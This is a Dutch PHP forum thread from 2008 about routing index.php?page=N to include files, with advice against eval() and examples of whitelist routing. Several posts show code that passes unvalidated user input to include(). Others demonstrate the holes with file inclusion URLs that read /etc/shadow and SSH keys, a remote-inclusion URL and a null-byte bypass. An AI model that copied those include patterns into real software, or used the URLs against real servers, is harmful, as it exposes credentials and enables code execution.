PHP-code in PHP-code uitvoeren

[Evertt_IA]

Ik heb een php-pagina, namelijk index.php.
Dan heb ik ook nog een heleboel andere pagina's namelijk, 1.php, 2.php, 3.php, enz...
Nu wil ik het dus zo regelen dat als in de adresbalk dit staat: "/index.php?page=1" dat dan de indexpagina zorgt dat 1.php wordt gerenderd in de goede contentbox.
Nu weet ik dat je echo kan gebruiken om html te renderen, maar dat werkt niet voor php.
Want als ik dan dit probeer:

PHP:

<?php
echo "<?php $Test=\"blaat\"; echo $Test; ?>";
?>

dan geeft die niet de goede html-code.

Dus hoe moet ik dat dan voor mekaar krijgen?

[Verwijderd]

zoek anders even op include?

[Harrie]

je kan toch gewoon include gebruiken? dus iets als:
if page=1
include 1.php
if page = 2
include 2.php

de syntax is niet helemaal goed, maar begrijp je wat ik bedoel? zoek dus even naar include...

[CodeCaster]

Ja, of gebruik gewoon include($_GET['page']). Lees je dan meteen even in over het gevaar van XSS.

[ Voor 23% gewijzigd door CodeCaster op 27-04-2008 00:14 ]

[Verwijderd]

Ik zou eerder zeggen: kijk langer dan 3 seconden naar een tutorial. Dit soort vragen is echt niet leuk meer. Zorg dat je in elk geval een beetje gelezen hebt voor je aan programmeren gaat denken, Toon wat respect aan je medetweakers.

[Saven]

http://php.net/eval

[CodeCaster]

Saven schreef op zondag 27 april 2008 @ 00:17:
http://php.net/eval

Alsjeblieft zeg. Heb je de topicstart gelezen, of alleen het codeblock?

[MueR]

Als je eval wil gaan gebruiken moet je HEEEL goed weten wat je doet. Eval moet de TS niet eens naar kijken. Gewoon eerst eens een taal leren voor je een site gaat bouwen.

[Evertt_IA]

Verwijderd schreef op zondag 27 april 2008 @ 00:15:
Ik zou eerder zeggen: kijk langer dan 3 seconden naar een tutorial. Dit soort vragen is echt niet leuk meer. Zorg dat je in elk geval een beetje gelezen hebt voor je aan programmeren gaat denken, Toon wat respect aan je medetweakers.

Oeps, nou sorry hoor.
Om heel eerlijk te zijn kende ik include() idd al, maar kdacht niet dat die php "renderde" om het zo maar te zeggen.

Maar iig heel erg bedankt iedereen.
Voortaan zal ik toch eerst beter zoeken.

[edit]

Saven schreef op zondag 27 april 2008 @ 00:17:
http://php.net/eval

Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb.

[ Voor 24% gewijzigd door Evertt_IA op 27-04-2008 00:50 ]

[Verwijderd]

ik hoop dat je dan ook dit hebt gelezen:

http://nl2.php.net/manual/en/function.eval.php#82239

[Emmeau]

Ik zou eerder naar modrewrite kijken?

[simon]

Eval is niet alleen traag maar ook een security risico... niet gebruiken dus... maar basis cursusje PHP brengt je veel verder.

[NMe]

Code hoort, IMO, niet in je database maar op je filesystem. 't Is niet netjes, onoverzichtelijk en lastig onderhoudbaar en bovendien langzamer. Gebruik asjeblieft alleen die oplossing die nu "precies is wat je zocht" als je verdomde goed weet waar je mee bezig bent. En, no offence intended, dat betwijfel ik op dit moment eerlijk gezegd; anders had dit topic hier namelijk niet gestaan.

Verder: Waar hoort mijn topic?

WEB>>PRG

[happyguppy]

Verwijderd schreef op zondag 27 april 2008 @ 00:15:
Ik zou eerder zeggen: kijk langer dan 3 seconden naar een tutorial. Dit soort vragen is echt niet leuk meer. Zorg dat je in elk geval een beetje gelezen hebt voor je aan programmeren gaat denken, Toon wat respect aan je medetweakers.

Het spijt me hoor, overdrijven is ook een vak. Blijkbaar weet hij er nog niet zoveel vanaf, maar hij wil het graag leren! Dan stel ik het op prijs dat hij het aan ons, medetweakers vraagt.

Daarom, hierbij, een tutorial die je wel wat op weg zal helpen

http://www.web-con.nl/site/tutorials.php?tutorial=248

Ook adviseer ik je een en ander te lezen over de basis van PHP, daar kan ik je dit boek voor aanraden.

Succes!

[Cartman!]

Evertt_IA schreef op zondag 27 april 2008 @ 00:45:
[...]
Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb.

Serieus, geen eval gebruiken hiervoor. Als je daar met dit scenario al mee begint dan vrees ik dat t je meestgebruikte functie zal worden. Als je eval gebruikt heb je 99,9% van de keren een verkeerde oplossing bedacht. Leer require_once() (heeft mn voorkeur op include) gebruiken en sla je code niet op in je database maar in bestanden. (!)

[Bitage]

eval() == evol. Simpel als dat. Er zijn oplossingen waarmee eval() prima is, maar daar is deze er verreweg één van.

Wat jij zoekt, is het ophalen van $_GET vars. Wanneer jij naar /index.php?page=1 gaat, wordt er serverside in PHP een var aagemaakt. Deze is in dit scenario $_GET['page'] welke een waarde heeft van '1'.

Dit kun je gemakkelijk ophalen en verwerken. Jij wilt een pagina renderen aand e hand van deze var dus het makkelijkst is dit:

PHP:

switch($_GET['page'])
{
  case 1:
    require('inc/pagina1.php');
    break;

  case 2:
    require('inc/pagina2.php');
    break;

// Etc. etc.

}

Enorm basic, mja....

[mcdronkz]

Er zijn zoveel methodes, maar ik pak het op de volgende manier aan;

PHP:

<?php
$allowedPages = array("home","nieuws","contact","etc");

if(isset($_GET['page'])) {
    if(in_array($_GET['page'],$allowedPages)) {
        if(file_exists($_GET['page'].".inc.php")) {
            include($_GET['page'].".inc.php")
        } else {
            /*
            404
            */
        }
    } else {
        /*
        404
        */
    }
} else {
    include("home.inc.php")
}
?>

Hiermee moet een pagina dus áltijd in die array voorkomen. Ook moet een bestand altijd fysiek op de server aanwezig zijn.

't Voldoet voorlopig uitstekend bij mij.

Ik snap wel dat het niet de bedoeling is om zomaar scripts te gaan posten enzo, je moet natuurlijk zelf ook wat ontdekken, maar vaak leer je toch een hoop van de manier waarop anderen iets aanpakken.

[curry684]

CodeCaster schreef op zondag 27 april 2008 @ 00:13:
Ja, of gebruik gewoon include($_GET['page']). Lees je dan meteen even in over het gevaar van XSS.

Dude....

http://domain.tld/index.php?page=/etc/passwd
http://domain.tld/index.php?page=/etc/shadow
http://domain.tld/index.php?page=/etc/mysql/my.ini
http://domain.tld/index.php?page=/etc/apache2/apache2.conf
http://domain.tld/index.php?page=/etc/postfix/main.cf
http://domain.tld/index.php?page=/etc/ssh/sshd_config
http://domain.tld/index.php?page=/etc/ssh/ssh_host_rsa_key
etc. etc. etc.

[Hydra]

Evertt_IA schreef op zondag 27 april 2008 @ 00:45:
Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb.

Spannend.

[software]

CodeCaster schreef op zondag 27 april 2008 @ 00:13:
Ja, of gebruik gewoon include($_GET['page']). Lees je dan meteen even in over het gevaar van XSS.

Ik werk meestal zo :

PHP:

$StandaardMap = "";
$StandaardExtensie = ".php";

    if(!isset($_GET['pagina'])) {
         include("home.php"); 
    }elseif(file_exists("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie."")) {
         include("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie.""); // (.php) --> deze wordt erbij gezet.
    }else {
        include("error404.php");  //error bestand invoegen
    }

Er wordt hier altijd een .php achter geplakt. Een betere controle dan jouw voorstel.

[ Voor 6% gewijzigd door software op 27-04-2008 12:24 ]

[Borizz]

software schreef op zondag 27 april 2008 @ 12:23:
[...]

Ik werk meestal zo :

PHP:

$StandaardMap = "";
$StandaardExtensie = ".php";

    if(!isset($_GET['pagina'])) {
         include("home.php"); 
    }elseif(file_exists("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie."")) {
         include("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie.""); // (.php) --> deze wordt erbij gezet.
    }else {
        include("error404.php");  //error bestand invoegen
    }

Er wordt hier altijd een .php achter geplakt. Een betere controle dan jouw voorstel.

Zo goed is je controle helemaal niet, zeker als $StandaardMap leeg is zoals in jou geval kan je simpel een url includen:

code:

http://www.jouwdomein.nl/index.php?pagina=http://www.anderdomein.nl/hackpagina

Zo include je de file http://www.anderdomein.nl/hackpagina.php die zich niet op jou server bevind..

[software]

Borizz schreef op zondag 27 april 2008 @ 12:28:
[...]


Zo goed is je controle helemaal niet, zeker als $StandaardMap leeg is zoals in jou geval kan je simpel een url includen:

code:

http://www.jouwdomein.nl/index.php?pagina=http://www.anderdomein.nl/hackpagina

Zo include je de file http://www.anderdomein.nl/hackpagina.php die zich niet op jou server bevind..

Heb net even getest, en script geeft een mooie 404 aan (bij een bestaande url).

[ Voor 14% gewijzigd door software op 27-04-2008 12:36 ]

[Verwijderd]

curry684 schreef op zondag 27 april 2008 @ 12:03:
[...]

Dude....

http://domain.tld/index.php?page=/etc/passwd
http://domain.tld/index.php?page=/etc/shadow
http://domain.tld/index.php?page=/etc/mysql/my.ini
http://domain.tld/index.php?page=/etc/apache2/apache2.conf
http://domain.tld/index.php?page=/etc/postfix/main.cf
http://domain.tld/index.php?page=/etc/ssh/sshd_config
http://domain.tld/index.php?page=/etc/ssh/ssh_host_rsa_key
etc. etc. etc.

Misschien dat ie daarom erbij heeft gezet "Lees je dan meteen even in over het gevaar van XSS.".

Wat samen met de aangedragen voorbeelden in dit topic toch wel behulpzaam kan zijn .

[Shadowman]

software schreef op zondag 27 april 2008 @ 12:34:
[...]


Heb net even getest, en script geeft een mooie 404 aan (bij een bestaande url).

mja, jouw 404, of de 404 van de site die opgehaald wordt?

En die .php-beveiliging is ook zo te omzeilen op het bestandssysteem, zet %00 in de url achter de filenaam en dat is dan het einde van een string (\0) en php accepteert zoiets in een string, maar het filesystem niet, die leest de filenaam tot de \0.

file_exists is volgens mij niet cross-domain (kan zo niet vinden op php.net waar dat staat, ben er ook niet 100% zeker van), dus als het jouw 404 is is dat de reden.

[software]

Shadowman schreef op zondag 27 april 2008 @ 12:47:
[...]

mja, jouw 404, of de 404 van de site die opgehaald wordt?

En die .php-beveiliging is ook zo te omzeilen op het bestandssysteem, zet %00 in de url achter de filenaam en dat is dan het einde van een string (\0) en php accepteert zoiets in een string, maar het filesystem niet, die leest de filenaam tot de \0.

file_exists is volgens mij niet cross-domain (kan zo niet vinden op php.net waar dat staat, ben er ook niet 100% zeker van), dus als het jouw 404 is is dat de reden.

Het was mijn 404 pagina dat geladen was.

[Borizz]

software schreef op zondag 27 april 2008 @ 12:49:
[...]

Het was mijn 404 pagina dat geladen was.

Dat komt waarschijnlijk omdat mijn parameter niet urlencoded was. Een url encoded versie van de url is dit:

code:

http%3A%2F%2Fwww.anderdomein.nl%2Fhackpagina

In jou geval werkt dit trouwens niet, omdat je file_exists gebruikt om te checken of een bestand bestaat, file_exists ondersteund het http protocol (nog) niet. Mocht dit later wel gebeuren dan zal mijn url wel werken, het is dus wel lomp om hierop te vertrouwen.

Tevens is het ook afhankelijk van je PHP configuratie of je toestaat dat je externe url's mag includen. Maar van je PHP configuratie mag je natuurlijk nooit uitgaan als je een voorbeeld post (of je moet het er expliciet bijzetten).

[japaveh]

software schreef op zondag 27 april 2008 @ 12:23:
[...]

Ik werk meestal zo :

PHP:

[...]
include("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie.""); // (.php) --> deze wordt erbij gezet.
[...]

Waarom plak je er steeds lege strings tussen?

[Cartman!]

Ik wilde t niet aanhalen inderdaad maar nu er toch iemand over begint....

[curry684]

Verwijderd schreef op zondag 27 april 2008 @ 12:37:
[...]

Misschien dat ie daarom erbij heeft gezet "Lees je dan meteen even in over het gevaar van XSS.".

Dat had ik wel door, maar voor de minder ingelezen meelezer moet je dat soort belabberde stukken code niet letterlijk geven, want die voetnoot wordt regelmatig niet gelezen hoor onder het kopje "oh dat lijkt me te complex en dat stukje code wat ie geeft werkt al perfect".

[? ?]

gewoon zoals mcdronkz doet
je maakt een array met de mogelijke modules
je checkt of de GET over een van deze modules gaat, dan check je eventueel of het op schijf bestaat en dan include je de pagina

als je met een array werkt, dan kun je de code ook kort houden en heb je geen switch of if statement nodig van 2 pagina's. Al de rest is niet goed, pagina's includen waarvan je de naam niet gecheckt hebt en misschien niet bestaan (of wel, maar als ze bv. geen include pagina zijn) is dom en geeft fouten.

[MueR]

Uit de PHP manual comments:

If eval() is the answer, you’re almost certainly asking the wrong question.

[Bosmonster]

Evertt_IA schreef op zondag 27 april 2008 @ 00:45:
[...]

Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb.

Zat al met veel plezier dit topic door te lezen, maar toen ik dit las moest ik toch even hardop lachen

Zeker na alle adviezen GEEN eval te gebruiken.

[curry684]

eval() is alleen nuttig voor hooks in complexe systemen, en dan moet je VERDOMD goed weten waar je mee bezig bent. If not, zie MueR.